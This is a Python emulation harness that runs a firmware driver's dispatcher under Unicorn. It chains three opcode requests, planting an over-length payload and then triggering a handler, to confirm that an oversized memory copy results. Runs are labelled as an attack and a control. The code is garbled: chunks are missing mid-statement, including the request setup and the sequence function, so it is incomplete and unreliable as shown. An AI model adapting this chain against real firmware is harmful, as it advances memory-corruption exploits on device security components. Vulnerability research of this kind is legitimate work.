#!/usr/bin/env python3 """Compose the candidate chain through the REAL SYS_DRV dispatcher `sub_E1DC30`. Steps 1, 2 and 3 have each been executed in isolation with stubbed lookups (`emulate_slot_setup.py`, `emulate_payload_plant.py`, `emulate_e04b68.py`). The remaining emulation gap was that they had never been run *as a sequence through the dispatcher*, sharing one slot table — so state continuity between the requests was assumed, not shown. This runs three requests back to back against one memory image: request 1: opcode 1 -- create a slot (format 0x80000032) request 2: opcode 3 -- send an over-length payload (plants buf[0x88]) request 3: opcode 0xd -- trigger sub_E04B68 and observe the copy lengths Only two things are stubbed, both because they are OS services rather than logic: * `sub_E08884` (buffer allocator) -> returns a scratch buffer, zero-filled * `sub_E0B0F4` (message lookup) -> returns a descriptor pointing at our message object The slot table at 0xE575B8 is mapped as real memory and **shared across all three requests**, so continuity is exercised rather than assumed. Control: the same sequence with a benign (short) payload must NOT produce an oversized copy. """ from __future__ import annotations import struct import sys from pathlib import Path from unicorn import (UC_ARCH_ARM, UC_HOOK_CODE, UC_HOOK_INTR, UC_MODE_THUMB, UC_PROT_ALL, Uc, UcError) from unicorn.arm_const import (UC_ARM_REG_LR, UC_ARM_REG_PC, UC_ARM_REG_R0, UC_ARM_REG_R1, UC_ARM_REG_R2, UC_ARM_REG_SP) REPO = Path(__file__).resolve().parent.parent.parent IMG = REPO / "psp_out" / "sys_drv_code.bin" BASE = 0xE00100 DISPATCH = 0xE1DC30 RET = 0xF0000000 ALLOC, MSGLOOKUP = 0xE08884, 0xE0B0F4 COPY = {0xE018A0, 0xE0192C} TABLE = 0xE575B8 # the real slot table address (outside the code image) REQ, MSG, BUF, STACK, GLOB, SRC = (0x50000000, 0x51000000, 0x52000000, 0x53000000, 0x54000000, 0x55000000) FMT = 0x80000032 class Machine: def __init__(self): code = IMG.read_bytes() self.code = code uc = Uc(UC_ARCH_ARM, UC_MODE_THUMB) ib = BASE & ~0xFFF uc.mem_map(ib, (len(code) + (BASE - ib) + 0xFFFF) & ~0xFFF, UC_PROT_ALL) uc.mem_write(BASE, code) uc.mem_map(TABLE & ~0xFFF, 0x10000, UC_PROT_ALL) # the shared slot table for a in (REQ, MSG, BUF, STACK, GLOB, SRC): uc.mem_map(a, 0x20000, UC_PROT_ALL) uc.mem_write(a, b"\x00" * 0x2000) uc.mem_write(TABLE & ~0xFFF, b"\x00" * 0x8000) uc.mem_write(SRC, b"\xBB" * 0x2000) # in-image data-segment pointers -> scratch (except the table literal, kept real) for off in range(0, len(code) - 4, 4): w = int.from_bytes(code[off:off + 4], "little") if 0xE28000 <= w <= 0xE80000 and w != TABLE: uc.mem_write(BASE + off, GLOB.to_bytes(4, "little")) self.uc = uc self.copies: list[tuple[int, int, int]] = [] self.alloc_next = BUF def on_intr(u, intno, _): u.reg_write(UC_ARM_REG_R0, 0) u.reg_write(UC_ARM_REG_PC, u.reg_read(UC_ARM_REG_PC) | 1) def on_code(u, addr, size, _): a = addr | 1 if a in (ALLOC | 1,): size_req = u.reg_read(UC_ARM_REG_R0) u.mem_write(self.alloc_next, b"\x00" * min(max(size_req, 0x10), 0x4000)) u.reg_write(UC_ARM_REG_R0, self.alloc_next) u.reg_write(UC_ARM_REG_PC, u.reg_read(UC_ARM_REG_LR) | 1) elif a in (MSGLOOKUP | 1,): u.reg_write(UC_ARM_REG_R0, MSG + 0x1000) # descriptor u.reg_write(UC_ARM_REG_PC, u.reg_read(UC_ARM_REG_LR) | 1) elif (addr in COPY) or (a in {c | 1 for c in COPY}): dst, src, ln = (u.reg_read(UC_ARM_REG_R0), u.reg_read(UC_ARM_REG_R1), u.reg_read(UC_ARM_REG_R2)) self.copies.append((dst, src, ln)) n = min(ln, 0x2000) try: u.mem_write(dst, bytes(u.mem_read(src, n))) except Exception: pass u.reg_write(UC_ARM_REG_PC, u.reg_read(UC_ARM_REG_LR) | 1) elif not (BASE <= addr < BASE + len(code)): u.emu_stop() uc.hook_add(UC_HOOK_INTR, on_intr) uc.hook_add(UC_HOOK_CODE, on_code) def request(self, opcode: int, setup=None): uc = self.uc uc.mem_write(REQ, b"\x00" * 0x200) uc.mem_write(REQ, struct.pack(" message uc.mem_write(MSG + 4, struct.pack(" int: print("Composing opcodes 1 -> 3 -> 0xd through the real dispatcher sub_E1DC30\n") for payload_len, marker, label in ((0x200, 0x00000500, "ATTACK (over-length payload)"), (0x40, 0x00000500, "CONTROL (short payload)")): s1, s2, cnt, c3 = sequence(payload_len, marker) print("%s" % label) print(" after opcode 1 : slot[0]=%#x cap=%#x buf=%#x" % (s1["slot[0]"], s1["cap"], s1["buf"])) print(" after opcode 3 : buf[0x88]=%#x" % cnt) mx = max((ln for _, _, ln in c3), default=0) print(" opcode 0xd : %d copy call(s), max len %#x%s" % (len(c3), mx, " <<< OVERSIZED" if mx > 0x10000 else "")) for dst, src, ln in c3[:4]: print(" dst=%#-12x src=%#-12x len=%#x" % (dst, src, ln)) print() print("Scope: real dispatcher and real handler code, with the allocator and message") print("lookup stubbed as OS services. Not silicon.") return 0 if __name__ == "__main__": sys.exit(main())